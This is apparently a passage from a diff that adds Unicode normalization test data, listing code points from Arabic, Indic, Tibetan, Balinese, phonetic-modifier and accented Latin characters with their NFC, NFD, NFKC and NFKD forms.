+{ source: [0x0675], NFC: [0x0675], NFD: [0x0675], NFKC: [0x0627, 0x0674], NFKD: [0x0627, 0x0674] },
+{ source: [0x0676], NFC: [0x0676], NFD: [0x0676], NFKC: [0x0648, 0x0674], NFKD: [0x0648, 0x0674] },
+{ source: [0x0677], NFC: [0x0677], NFD: [0x0677], NFKC: [0x06C7, 0x0674], NFKD: [0x06C7, 0x0674] },
+{ source: [0x0678], NFC: [0x0678], NFD: [0x0678], NFKC: [0x064A, 0x0674], NFKD: [0x064A, 0x0674] },
+{ source: [0x06C0], NFC: [0x06C0], NFD: [0x06D5, 0x0654], NFKC: [0x06C0], NFKD: [0x06D5, 0x0654] },
+{ source: [0x06C2], NFC: [0x06C2], NFD: [0x06C1, 0x0654], NFKC: [0x06C2], NFKD: [0x06C1, 0x0654] },
+{ source: [0x06D3], NFC: [0x06D3], NFD: [0x06D2, 0x0654], NFKC: [0x06D3], NFKD: [0x06D2, 0x0654] },
+{ source: [0x0929], NFC: [0x0929], NFD: [0x0928, 0x093C], NFKC: [0x0929], NFKD: [0x0928, 0x093C] },
+{ source: [0x0931], NFC: [0x0931], NFD: [0x0930, 0x093C], NFKC: [0x0931], NFKD: [0x0930, 0x093C] },
+{ source: [0x0934], NFC: [0x0934], NFD: [0x0933, 0x093C], NFKC: [0x0934], NFKD: [0x0933, 0x093C] },
+{ source: [0x0958], NFC: [0x0915, 0x093C], NFD: [0x0915, 0x093C], NFKC: [0x0915, 0x093C], NFKD: [0x0915, 0x093C] },
+{ source: [0x0959], NFC: [0x0916, 0x093C], NFD: [0x0916, 0x093C], NFKC: [0x0916, 0x093C], NFKD: [0x0916, 0x093C] },
+{ source: [0x095A], NFC: [0x0917, 0x093C], NFD: [0x0917, 0x093C], NFKC: [0x0917, 0x093C], NFKD: [0x0917, 0x093C] },
+{ source: [0x095B], NFC: [0x091C, 0x093C], NFD: [0x091C, 0x093C], NFKC: [0x091C, 0x093C], NFKD: [0x091C, 0x093C] },
+{ source: [0x095C], NFC: [0x0921, 0x093C], NFD: [0x0921, 0x093C], NFKC: [0x0921, 0x093C], NFKD: [0x0921, 0x093C] },
+{ source: [0x095D], NFC: [0x0922, 0x093C], NFD: [0x0922, 0x093C], NFKC: [0x0922, 0x093C], NFKD: [0x0922, 0x093C] },
+{ source: [0x095E], NFC: [0x092B, 0x093C], NFD: [0x092B, 0x093C], NFKC: [0x092B, 0x093C], NFKD: [0x092B, 0x093C] },
+{ source: [0x095F], NFC: [0x092F, 0x093C], NFD: [0x092F, 0x093C], NFKC: [0x092F, 0x093C], NFKD: [0x092F, 0x093C] },
+{ source: [0x09CB], NFC: [0x09CB], NFD: [0x09C7, 0x09BE], NFKC: [0x09CB], NFKD: [0x09C7, 0x09BE] },
+{ source: [0x09CC], NFC: [0x09CC], NFD: [0x09C7, 0x09D7], NFKC: [0x09CC], NFKD: [0x09C7, 0x09D7] },
+{ source: [0x09DC], NFC: [0x09A1, 0x09BC], NFD: [0x09A1, 0x09BC], NFKC: [0x09A1, 0x09BC], NFKD: [0x09A1, 0x09BC] },
+{ source: [0x09DD], NFC: [0x09A2, 0x09BC], NFD: [0x09A2, 0x09BC], NFKC: [0x09A2, 0x09BC], NFKD: [0x09A2, 0x09BC] },
+{ source: [0x09DF], NFC: [0x09AF, 0x09BC], NFD: [0x09AF, 0x09BC], NFKC: [0x09AF, 0x09BC], NFKD: [0x09AF, 0x09BC] },
+{ source: [0x0A33], NFC: [0x0A32, 0x0A3C], NFD: [0x0A32, 0x0A3C], NFKC: [0x0A32, 0x0A3C], NFKD: [0x0A32, 0x0A3C] },
+{ source: [0x0A36], NFC: [0x0A38, 0x0A3C], NFD: [0x0A38, 0x0A3C], NFKC: [0x0A38, 0x0A3C], NFKD: [0x0A38, 0x0A3C] },
+{ source: [0x0A59], NFC: [0x0A16, 0x0A3C], NFD: [0x0A16, 0x0A3C], NFKC: [0x0A16, 0x0A3C], NFKD: [0x0A16, 0x0A3C] },
+{ source: [0x0A5A], NFC: [0x0A17, 0x0A3C], NFD: [0x0A17, 0x0A3C], NFKC: [0x0A17, 0x0A3C], NFKD: [0x0A17, 0x0A3C] },
+{ source: [0x0A5B], NFC: [0x0A1C, 0x0A3C], NFD: [0x0A1C, 0x0A3C], NFKC: [0x0A1C, 0x0A3C], NFKD: [0x0A1C, 0x0A3C] },
+{ source: [0x0A5E], NFC: [0x0A2B, 0x0A3C], NFD: [0x0A2B, 0x0A3C], NFKC: [0x0A2B, 0x0A3C], NFKD: [0x0A2B, 0x0A3C] },
+{ source: [0x0B48], NFC: [0x0B48], NFD: [0x0B47, 0x0B56], NFKC: [0x0B48], NFKD: [0x0B47, 0x0B56] },
+{ source: [0x0B4B], NFC: [0x0B4B], NFD: [0x0B47, 0x0B3E], NFKC: [0x0B4B], NFKD: [0x0B47, 0x0B3E] },
+{ source: [0x0B4C], NFC: [0x0B4C], NFD: [0x0B47, 0x0B57], NFKC: [0x0B4C], NFKD: [0x0B47, 0x0B57] },
+{ source: [0x0B5C], NFC: [0x0B21, 0x0B3C], NFD: [0x0B21, 0x0B3C], NFKC: [0x0B21, 0x0B3C], NFKD: [0x0B21, 0x0B3C] },
+{ source: [0x0B5D], NFC: [0x0B22, 0x0B3C], NFD: [0x0B22, 0x0B3C], NFKC: [0x0B22, 0x0B3C], NFKD: [0x0B22, 0x0B3C] },
+{ source: [0x0B94], NFC: [0x0B94], NFD: [0x0B92, 0x0BD7], NFKC: [0x0B94], NFKD: [0x0B92, 0x0BD7] },
+{ source: [0x0BCA], NFC: [0x0BCA], NFD: [0x0BC6, 0x0BBE], NFKC: [0x0BCA], NFKD: [0x0BC6, 0x0BBE] },
+{ source: [0x0BCB], NFC: [0x0BCB], NFD: [0x0BC7, 0x0BBE], NFKC: [0x0BCB], NFKD: [0x0BC7, 0x0BBE] },
+{ source: [0x0BCC], NFC: [0x0BCC], NFD: [0x0BC6, 0x0BD7], NFKC: [0x0BCC], NFKD: [0x0BC6, 0x0BD7] },
+{ source: [0x0C48], NFC: [0x0C48], NFD: [0x0C46, 0x0C56], NFKC: [0x0C48], NFKD: [0x0C46, 0x0C56] },
+{ source: [0x0CC0], NFC: [0x0CC0], NFD: [0x0CBF, 0x0CD5], NFKC: [0x0CC0], NFKD: [0x0CBF, 0x0CD5] },
+{ source: [0x0CC7], NFC: [0x0CC7], NFD: [0x0CC6, 0x0CD5], NFKC: [0x0CC7], NFKD: [0x0CC6, 0x0CD5] },
+{ source: [0x0CC8], NFC: [0x0CC8], NFD: [0x0CC6, 0x0CD6], NFKC: [0x0CC8], NFKD: [0x0CC6, 0x0CD6] },
+{ source: [0x0CCA], NFC: [0x0CCA], NFD: [0x0CC6, 0x0CC2], NFKC: [0x0CCA], NFKD: [0x0CC6, 0x0CC2] },
+{ source: [0x0CCB], NFC: [0x0CCB], NFD: [0x0CC6, 0x0CC2, 0x0CD5], NFKC: [0x0CCB], NFKD: [0x0CC6, 0x0CC2, 0x0CD5] },
+{ source: [0x0D4A], NFC: [0x0D4A], NFD: [0x0D46, 0x0D3E], NFKC: [0x0D4A], NFKD: [0x0D46, 0x0D3E] },
+{ source: [0x0D4B], NFC: [0x0D4B], NFD: [0x0D47, 0x0D3E], NFKC: [0x0D4B], NFKD: [0x0D47, 0x0D3E] },
+{ source: [0x0D4C], NFC: [0x0D4C], NFD: [0x0D46, 0x0D57], NFKC: [0x0D4C], NFKD: [0x0D46, 0x0D57] },
+{ source: [0x0DDA], NFC: [0x0DDA], NFD: [0x0DD9, 0x0DCA], NFKC: [0x0DDA], NFKD: [0x0DD9, 0x0DCA] },
+{ source: [0x0DDC], NFC: [0x0DDC], NFD: [0x0DD9, 0x0DCF], NFKC: [0x0DDC], NFKD: [0x0DD9, 0x0DCF] },
+{ source: [0x0DDD], NFC: [0x0DDD], NFD: [0x0DD9, 0x0DCF, 0x0DCA], NFKC: [0x0DDD], NFKD: [0x0DD9, 0x0DCF, 0x0DCA] },
+{ source: [0x0DDE], NFC: [0x0DDE], NFD: [0x0DD9, 0x0DDF], NFKC: [0x0DDE], NFKD: [0x0DD9, 0x0DDF] },
+{ source: [0x0E33], NFC: [0x0E33], NFD: [0x0E33], NFKC: [0x0E4D, 0x0E32], NFKD: [0x0E4D, 0x0E32] },
+{ source: [0x0EB3], NFC: [0x0EB3], NFD: [0x0EB3], NFKC: [0x0ECD, 0x0EB2], NFKD: [0x0ECD, 0x0EB2] },
+{ source: [0x0EDC], NFC: [0x0EDC], NFD: [0x0EDC], NFKC: [0x0EAB, 0x0E99], NFKD: [0x0EAB, 0x0E99] },
+{ source: [0x0EDD], NFC: [0x0EDD], NFD: [0x0EDD], NFKC: [0x0EAB, 0x0EA1], NFKD: [0x0EAB, 0x0EA1] },
+{ source: [0x0F0C], NFC: [0x0F0C], NFD: [0x0F0C], NFKC: [0x0F0B], NFKD: [0x0F0B] },
+{ source: [0x0F43], NFC: [0x0F42, 0x0FB7], NFD: [0x0F42, 0x0FB7], NFKC: [0x0F42, 0x0FB7], NFKD: [0x0F42, 0x0FB7] },
+{ source: [0x0F4D], NFC: [0x0F4C, 0x0FB7], NFD: [0x0F4C, 0x0FB7], NFKC: [0x0F4C, 0x0FB7], NFKD: [0x0F4C, 0x0FB7] },
+{ source: [0x0F52], NFC: [0x0F51, 0x0FB7], NFD: [0x0F51, 0x0FB7], NFKC: [0x0F51, 0x0FB7], NFKD: [0x0F51, 0x0FB7] },
+{ source: [0x0F57], NFC: [0x0F56, 0x0FB7], NFD: [0x0F56, 0x0FB7], NFKC: [0x0F56, 0x0FB7], NFKD: [0x0F56, 0x0FB7] },
+{ source: [0x0F5C], NFC: [0x0F5B, 0x0FB7], NFD: [0x0F5B, 0x0FB7], NFKC: [0x0F5B, 0x0FB7], NFKD: [0x0F5B, 0x0FB7] },
+{ source: [0x0F69], NFC: [0x0F40, 0x0FB5], NFD: [0x0F40, 0x0FB5], NFKC: [0x0F40, 0x0FB5], NFKD: [0x0F40, 0x0FB5] },
+{ source: [0x0F73], NFC: [0x0F71, 0x0F72], NFD: [0x0F71, 0x0F72], NFKC: [0x0F71, 0x0F72], NFKD: [0x0F71, 0x0F72] },
+{ source: [0x0F75], NFC: [0x0F71, 0x0F74], NFD: [0x0F71, 0x0F74], NFKC: [0x0F71, 0x0F74], NFKD: [0x0F71, 0x0F74] },
+{ source: [0x0F76], NFC: [0x0FB2, 0x0F80], NFD: [0x0FB2, 0x0F80], NFKC: [0x0FB2, 0x0F80], NFKD: [0x0FB2, 0x0F80] },
+{ source: [0x0F77], NFC: [0x0F77], NFD: [0x0F77], NFKC: [0x0FB2, 0x0F71, 0x0F80], NFKD: [0x0FB2, 0x0F71, 0x0F80] },
+{ source: [0x0F78], NFC: [0x0FB3, 0x0F80], NFD: [0x0FB3, 0x0F80], NFKC: [0x0FB3, 0x0F80], NFKD: [0x0FB3, 0x0F80] },
+{ source: [0x0F79], NFC: [0x0F79], NFD: [0x0F79], NFKC: [0x0FB3, 0x0F71, 0x0F80], NFKD: [0x0FB3, 0x0F71, 0x0F80] },
+{ source: [0x0F81], NFC: [0x0F71, 0x0F80], NFD: [0x0F71, 0x0F80], NFKC: [0x0F71, 0x0F80], NFKD: [0x0F71, 0x0F80] },
+{ source: [0x0F93], NFC: [0x0F92, 0x0FB7], NFD: [0x0F92, 0x0FB7], NFKC: [0x0F92, 0x0FB7], NFKD: [0x0F92, 0x0FB7] },
+{ source: [0x0F9D], NFC: [0x0F9C, 0x0FB7], NFD: [0x0F9C, 0x0FB7], NFKC: [0x0F9C, 0x0FB7], NFKD: [0x0F9C, 0x0FB7] },
+{ source: [0x0FA2], NFC: [0x0FA1, 0x0FB7], NFD: [0x0FA1, 0x0FB7], NFKC: [0x0FA1, 0x0FB7], NFKD: [0x0FA1, 0x0FB7] },
+{ source: [0x0FA7], NFC: [0x0FA6, 0x0FB7], NFD: [0x0FA6, 0x0FB7], NFKC: [0x0FA6, 0x0FB7], NFKD: [0x0FA6, 0x0FB7] },
+{ source: [0x0FAC], NFC: [0x0FAB, 0x0FB7], NFD: [0x0FAB, 0x0FB7], NFKC: [0x0FAB, 0x0FB7], NFKD: [0x0FAB, 0x0FB7] },
+{ source: [0x0FB9], NFC: [0x0F90, 0x0FB5], NFD: [0x0F90, 0x0FB5], NFKC: [0x0F90, 0x0FB5], NFKD: [0x0F90, 0x0FB5] },
+{ source: [0x1026], NFC: [0x1026], NFD: [0x1025, 0x102E], NFKC: [0x1026], NFKD: [0x1025, 0x102E] },
+{ source: [0x10FC], NFC: [0x10FC], NFD: [0x10FC], NFKC: [0x10DC], NFKD: [0x10DC] },
+{ source: [0x1B06], NFC: [0x1B06], NFD: [0x1B05, 0x1B35], NFKC: [0x1B06], NFKD: [0x1B05, 0x1B35] },
+{ source: [0x1B08], NFC: [0x1B08], NFD: [0x1B07, 0x1B35], NFKC: [0x1B08], NFKD: [0x1B07, 0x1B35] },
+{ source: [0x1B0A], NFC: [0x1B0A], NFD: [0x1B09, 0x1B35], NFKC: [0x1B0A], NFKD: [0x1B09, 0x1B35] },
+{ source: [0x1B0C], NFC: [0x1B0C], NFD: [0x1B0B, 0x1B35], NFKC: [0x1B0C], NFKD: [0x1B0B, 0x1B35] },
+{ source: [0x1B0E], NFC: [0x1B0E], NFD: [0x1B0D, 0x1B35], NFKC: [0x1B0E], NFKD: [0x1B0D, 0x1B35] },
+{ source: [0x1B12], NFC: [0x1B12], NFD: [0x1B11, 0x1B35], NFKC: [0x1B12], NFKD: [0x1B11, 0x1B35] },
+{ source: [0x1B3B], NFC: [0x1B3B], NFD: [0x1B3A, 0x1B35], NFKC: [0x1B3B], NFKD: [0x1B3A, 0x1B35] },
+{ source: [0x1B3D], NFC: [0x1B3D], NFD: [0x1B3C, 0x1B35], NFKC: [0x1B3D], NFKD: [0x1B3C, 0x1B35] },
+{ source: [0x1B40], NFC: [0x1B40], NFD: [0x1B3E, 0x1B35], NFKC: [0x1B40], NFKD: [0x1B3E, 0x1B35] },
+{ source: [0x1B41], NFC: [0x1B41], NFD: [0x1B3F, 0x1B35], NFKC: [0x1B41], NFKD: [0x1B3F, 0x1B35] },
+{ source: [0x1B43], NFC: [0x1B43], NFD: [0x1B42, 0x1B35], NFKC: [0x1B43], NFKD: [0x1B42, 0x1B35] },
+{ source: [0x1D2C], NFC: [0x1D2C], NFD: [0x1D2C], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x1D2D], NFC: [0x1D2D], NFD: [0x1D2D], NFKC: [0x00C6], NFKD: [0x00C6] },
+{ source: [0x1D2E], NFC: [0x1D2E], NFD: [0x1D2E], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x1D30], NFC: [0x1D30], NFD: [0x1D30], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x1D31], NFC: [0x1D31], NFD: [0x1D31], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x1D32], NFC: [0x1D32], NFD: [0x1D32], NFKC: [0x018E], NFKD: [0x018E] },
+{ source: [0x1D33], NFC: [0x1D33], NFD: [0x1D33], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x1D34], NFC: [0x1D34], NFD: [0x1D34], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x1D35], NFC: [0x1D35], NFD: [0x1D35], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x1D36], NFC: [0x1D36], NFD: [0x1D36], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x1D37], NFC: [0x1D37], NFD: [0x1D37], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x1D38], NFC: [0x1D38], NFD: [0x1D38], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x1D39], NFC: [0x1D39], NFD: [0x1D39], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x1D3A], NFC: [0x1D3A], NFD: [0x1D3A], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x1D3C], NFC: [0x1D3C], NFD: [0x1D3C], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x1D3D], NFC: [0x1D3D], NFD: [0x1D3D], NFKC: [0x0222], NFKD: [0x0222] },
+{ source: [0x1D3E], NFC: [0x1D3E], NFD: [0x1D3E], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x1D3F], NFC: [0x1D3F], NFD: [0x1D3F], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x1D40], NFC: [0x1D40], NFD: [0x1D40], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x1D41], NFC: [0x1D41], NFD: [0x1D41], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x1D42], NFC: [0x1D42], NFD: [0x1D42], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x1D43], NFC: [0x1D43], NFD: [0x1D43], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x1D44], NFC: [0x1D44], NFD: [0x1D44], NFKC: [0x0250], NFKD: [0x0250] },
+{ source: [0x1D45], NFC: [0x1D45], NFD: [0x1D45], NFKC: [0x0251], NFKD: [0x0251] },
+{ source: [0x1D46], NFC: [0x1D46], NFD: [0x1D46], NFKC: [0x1D02], NFKD: [0x1D02] },
+{ source: [0x1D47], NFC: [0x1D47], NFD: [0x1D47], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0x1D48], NFC: [0x1D48], NFD: [0x1D48], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x1D49], NFC: [0x1D49], NFD: [0x1D49], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x1D4A], NFC: [0x1D4A], NFD: [0x1D4A], NFKC: [0x0259], NFKD: [0x0259] },
+{ source: [0x1D4B], NFC: [0x1D4B], NFD: [0x1D4B], NFKC: [0x025B], NFKD: [0x025B] },
+{ source: [0x1D4C], NFC: [0x1D4C], NFD: [0x1D4C], NFKC: [0x025C], NFKD: [0x025C] },
+{ source: [0x1D4D], NFC: [0x1D4D], NFD: [0x1D4D], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0x1D4F], NFC: [0x1D4F], NFD: [0x1D4F], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x1D50], NFC: [0x1D50], NFD: [0x1D50], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x1D51], NFC: [0x1D51], NFD: [0x1D51], NFKC: [0x014B], NFKD: [0x014B] },
+{ source: [0x1D52], NFC: [0x1D52], NFD: [0x1D52], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x1D53], NFC: [0x1D53], NFD: [0x1D53], NFKC: [0x0254], NFKD: [0x0254] },
+{ source: [0x1D54], NFC: [0x1D54], NFD: [0x1D54], NFKC: [0x1D16], NFKD: [0x1D16] },
+{ source: [0x1D55], NFC: [0x1D55], NFD: [0x1D55], NFKC: [0x1D17], NFKD: [0x1D17] },
+{ source: [0x1D56], NFC: [0x1D56], NFD: [0x1D56], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x1D57], NFC: [0x1D57], NFD: [0x1D57], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x1D58], NFC: [0x1D58], NFD: [0x1D58], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x1D59], NFC: [0x1D59], NFD: [0x1D59], NFKC: [0x1D1D], NFKD: [0x1D1D] },
+{ source: [0x1D5A], NFC: [0x1D5A], NFD: [0x1D5A], NFKC: [0x026F], NFKD: [0x026F] },
+{ source: [0x1D5B], NFC: [0x1D5B], NFD: [0x1D5B], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x1D5C], NFC: [0x1D5C], NFD: [0x1D5C], NFKC: [0x1D25], NFKD: [0x1D25] },
+{ source: [0x1D5D], NFC: [0x1D5D], NFD: [0x1D5D], NFKC: [0x03B2], NFKD: [0x03B2] },
+{ source: [0x1D5E], NFC: [0x1D5E], NFD: [0x1D5E], NFKC: [0x03B3], NFKD: [0x03B3] },
+{ source: [0x1D5F], NFC: [0x1D5F], NFD: [0x1D5F], NFKC: [0x03B4], NFKD: [0x03B4] },
+{ source: [0x1D60], NFC: [0x1D60], NFD: [0x1D60], NFKC: [0x03C6], NFKD: [0x03C6] },
+{ source: [0x1D61], NFC: [0x1D61], NFD: [0x1D61], NFKC: [0x03C7], NFKD: [0x03C7] },
+{ source: [0x1D62], NFC: [0x1D62], NFD: [0x1D62], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x1D63], NFC: [0x1D63], NFD: [0x1D63], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x1D64], NFC: [0x1D64], NFD: [0x1D64], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x1D65], NFC: [0x1D65], NFD: [0x1D65], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x1D66], NFC: [0x1D66], NFD: [0x1D66], NFKC: [0x03B2], NFKD: [0x03B2] },
+{ source: [0x1D67], NFC: [0x1D67], NFD: [0x1D67], NFKC: [0x03B3], NFKD: [0x03B3] },
+{ source: [0x1D68], NFC: [0x1D68], NFD: [0x1D68], NFKC: [0x03C1], NFKD: [0x03C1] },
+{ source: [0x1D69], NFC: [0x1D69], NFD: [0x1D69], NFKC: [0x03C6], NFKD: [0x03C6] },
+{ source: [0x1D6A], NFC: [0x1D6A], NFD: [0x1D6A], NFKC: [0x03C7], NFKD: [0x03C7] },
+{ source: [0x1D78], NFC: [0x1D78], NFD: [0x1D78], NFKC: [0x043D], NFKD: [0x043D] },
+{ source: [0x1D9B], NFC: [0x1D9B], NFD: [0x1D9B], NFKC: [0x0252], NFKD: [0x0252] },
+{ source: [0x1D9C], NFC: [0x1D9C], NFD: [0x1D9C], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x1D9D], NFC: [0x1D9D], NFD: [0x1D9D], NFKC: [0x0255], NFKD: [0x0255] },
+{ source: [0x1D9E], NFC: [0x1D9E], NFD: [0x1D9E], NFKC: [0x00F0], NFKD: [0x00F0] },
+{ source: [0x1D9F], NFC: [0x1D9F], NFD: [0x1D9F], NFKC: [0x025C], NFKD: [0x025C] },
+{ source: [0x1DA0], NFC: [0x1DA0], NFD: [0x1DA0], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0x1DA1], NFC: [0x1DA1], NFD: [0x1DA1], NFKC: [0x025F], NFKD: [0x025F] },
+{ source: [0x1DA2], NFC: [0x1DA2], NFD: [0x1DA2], NFKC: [0x0261], NFKD: [0x0261] },
+{ source: [0x1DA3], NFC: [0x1DA3], NFD: [0x1DA3], NFKC: [0x0265], NFKD: [0x0265] },
+{ source: [0x1DA4], NFC: [0x1DA4], NFD: [0x1DA4], NFKC: [0x0268], NFKD: [0x0268] },
+{ source: [0x1DA5], NFC: [0x1DA5], NFD: [0x1DA5], NFKC: [0x0269], NFKD: [0x0269] },
+{ source: [0x1DA6], NFC: [0x1DA6], NFD: [0x1DA6], NFKC: [0x026A], NFKD: [0x026A] },
+{ source: [0x1DA7], NFC: [0x1DA7], NFD: [0x1DA7], NFKC: [0x1D7B], NFKD: [0x1D7B] },
+{ source: [0x1DA8], NFC: [0x1DA8], NFD: [0x1DA8], NFKC: [0x029D], NFKD: [0x029D] },
+{ source: [0x1DA9], NFC: [0x1DA9], NFD: [0x1DA9], NFKC: [0x026D], NFKD: [0x026D] },
+{ source: [0x1DAA], NFC: [0x1DAA], NFD: [0x1DAA], NFKC: [0x1D85], NFKD: [0x1D85] },
+{ source: [0x1DAB], NFC: [0x1DAB], NFD: [0x1DAB], NFKC: [0x029F], NFKD: [0x029F] },
+{ source: [0x1DAC], NFC: [0x1DAC], NFD: [0x1DAC], NFKC: [0x0271], NFKD: [0x0271] },
+{ source: [0x1DAD], NFC: [0x1DAD], NFD: [0x1DAD], NFKC: [0x0270], NFKD: [0x0270] },
+{ source: [0x1DAE], NFC: [0x1DAE], NFD: [0x1DAE], NFKC: [0x0272], NFKD: [0x0272] },
+{ source: [0x1DAF], NFC: [0x1DAF], NFD: [0x1DAF], NFKC: [0x0273], NFKD: [0x0273] },
+{ source: [0x1DB0], NFC: [0x1DB0], NFD: [0x1DB0], NFKC: [0x0274], NFKD: [0x0274] },
+{ source: [0x1DB1], NFC: [0x1DB1], NFD: [0x1DB1], NFKC: [0x0275], NFKD: [0x0275] },
+{ source: [0x1DB2], NFC: [0x1DB2], NFD: [0x1DB2], NFKC: [0x0278], NFKD: [0x0278] },
+{ source: [0x1DB3], NFC: [0x1DB3], NFD: [0x1DB3], NFKC: [0x0282], NFKD: [0x0282] },
+{ source: [0x1DB4], NFC: [0x1DB4], NFD: [0x1DB4], NFKC: [0x0283], NFKD: [0x0283] },
+{ source: [0x1DB5], NFC: [0x1DB5], NFD: [0x1DB5], NFKC: [0x01AB], NFKD: [0x01AB] },
+{ source: [0x1DB6], NFC: [0x1DB6], NFD: [0x1DB6], NFKC: [0x0289], NFKD: [0x0289] },
+{ source: [0x1DB7], NFC: [0x1DB7], NFD: [0x1DB7], NFKC: [0x028A], NFKD: [0x028A] },
+{ source: [0x1DB8], NFC: [0x1DB8], NFD: [0x1DB8], NFKC: [0x1D1C], NFKD: [0x1D1C] },
+{ source: [0x1DB9], NFC: [0x1DB9], NFD: [0x1DB9], NFKC: [0x028B], NFKD: [0x028B] },
+{ source: [0x1DBA], NFC: [0x1DBA], NFD: [0x1DBA], NFKC: [0x028C], NFKD: [0x028C] },
+{ source: [0x1DBB], NFC: [0x1DBB], NFD: [0x1DBB], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0x1DBC], NFC: [0x1DBC], NFD: [0x1DBC], NFKC: [0x0290], NFKD: [0x0290] },
+{ source: [0x1DBD], NFC: [0x1DBD], NFD: [0x1DBD], NFKC: [0x0291], NFKD: [0x0291] },
+{ source: [0x1DBE], NFC: [0x1DBE], NFD: [0x1DBE], NFKC: [0x0292], NFKD: [0x0292] },
+{ source: [0x1DBF], NFC: [0x1DBF], NFD: [0x1DBF], NFKC: [0x03B8], NFKD: [0x03B8] },
+{ source: [0x1E00], NFC: [0x1E00], NFD: [0x0041, 0x0325], NFKC: [0x1E00], NFKD: [0x0041, 0x0325] },
+{ source: [0x1E01], NFC: [0x1E01], NFD: [0x0061, 0x0325], NFKC: [0x1E01], NFKD: [0x0061, 0x0325] },
+{ source: [0x1E02], NFC: [0x1E02], NFD: [0x0042, 0x0307], NFKC: [0x1E02], NFKD: [0x0042, 0x0307] },
+{ source: [0x1E03], NFC: [0x1E03], NFD: [0x0062, 0x0307], NFKC: [0x1E03], NFKD: [0x0062, 0x0307] },
+{ source: [0x1E04], NFC: [0x1E04], NFD: [0x0042, 0x0323], NFKC: [0x1E04], NFKD: [0x0042, 0x0323] },
+{ source: [0x1E05], NFC: [0x1E05], NFD: [0x0062, 0x0323], NFKC: [0x1E05], NFKD: [0x0062, 0x0323] },
+{ source: [0x1E06], NFC: [0x1E06], NFD: [0x0042, 0x0331], NFKC: [0x1E06], NFKD: [0x0042, 0x0331] },
+{ source: [0x1E07], NFC: [0x1E07], NFD: [0x0062, 0x0331], NFKC: [0x1E07], NFKD: [0x0062, 0x0331] },
+{ source: [0x1E08], NFC: [0x1E08], NFD: [0x0043, 0x0327, 0x0301], NFKC: [0x1E08], NFKD: [0x0043, 0x0327, 0x0301] },
+{ source: [0x1E09], NFC: [0x1E09], NFD: [0x0063, 0x0327, 0x0301], NFKC: [0x1E09], NFKD: [0x0063, 0x0327, 0x0301] },
+{ source: [0x1E0A], NFC: [0x1E0A], NFD: [0x0044, 0x0307], NFKC: [0x1E0A], NFKD: [0x0044, 0x0307] },
+{ source: [0x1E0B], NFC: [0x1E0B], NFD: [0x0064, 0x0307], NFKC: [0x1E0B], NFKD: [0x0064, 0x0307] },
+{ source: [0x1E0C], NFC: [0x1E0C], NFD: [0x0044, 0x0323], NFKC: [0x1E0C], NFKD: [0x0044, 0x0323] },
+{ source: [0x1E0D], NFC: [0x1E0D], NFD: [0x0064, 0x0323], NFKC: [0x1E0D], NFKD: [0x0064, 0x0323] },
+{ source: [0x1E0E], NFC: [0x1E0E], NFD: [0x0044, 0x0331], NFKC: [0x1E0E], NFKD: [0x0044, 0x0331] },
+{ source: [0x1E0F], NFC: [0x1E0F], NFD: [0x0064, 0x0331], NFKC: [0x1E0F], NFKD: [0x0064, 0x0331] },
+{ source: [0x1E10], NFC: [0x1E10], NFD: [0x0044, 0x0327], NFKC: [0x1E10], NFKD: [0x0044, 0x0327] },
+{ source: [0x1E11], NFC: [0x1E11], NFD: [0x0064, 0x0327], NFKC: [0x1E11], NFKD: [0x0064, 0x0327] },
+{ source: [0x1E12], NFC: [0x1E12], NFD: [0x0044, 0x032D], NFKC: [0x1E12], NFKD: [0x0044, 0x032D] },
+{ source: [0x1E13], NFC: [0x1E13], NFD: [0x0064, 0x032D], NFKC: [0x1E13], NFKD: [0x0064, 0x032D] },
+{ source: [0x1E14], NFC: [0x1E14], NFD: [0x0045, 0x0304, 0x0300], NFKC: [0x1E14], NFKD: [0x0045, 0x0304, 0x0300] },
+{ source: [0x1E15], NFC: [0x1E15], NFD: [0x0065, 0x0304, 0x0300], NFKC: [0x1E15], NFKD: [0x0065, 0x0304, 0x0300] },
+{ source: [0x1E16], NFC: [0x1E16], NFD: [0x0045, 0x0304, 0x0301], NFKC: [0x1E16], NFKD: [0x0045, 0x0304, 0x0301] },
+{ source: [0x1E17], NFC: [0x1E17], NFD: [0x0065, 0x0304, 0x0301], NFKC: [0x1E17], NFKD: [0x0065, 0x0304, 0x0301] },
+{ source: [0x1E18], NFC: [0x1E18], NFD: [0x0045, 0x032D], NFKC: [0x1E18], NFKD: [0x0045, 0x032D] },
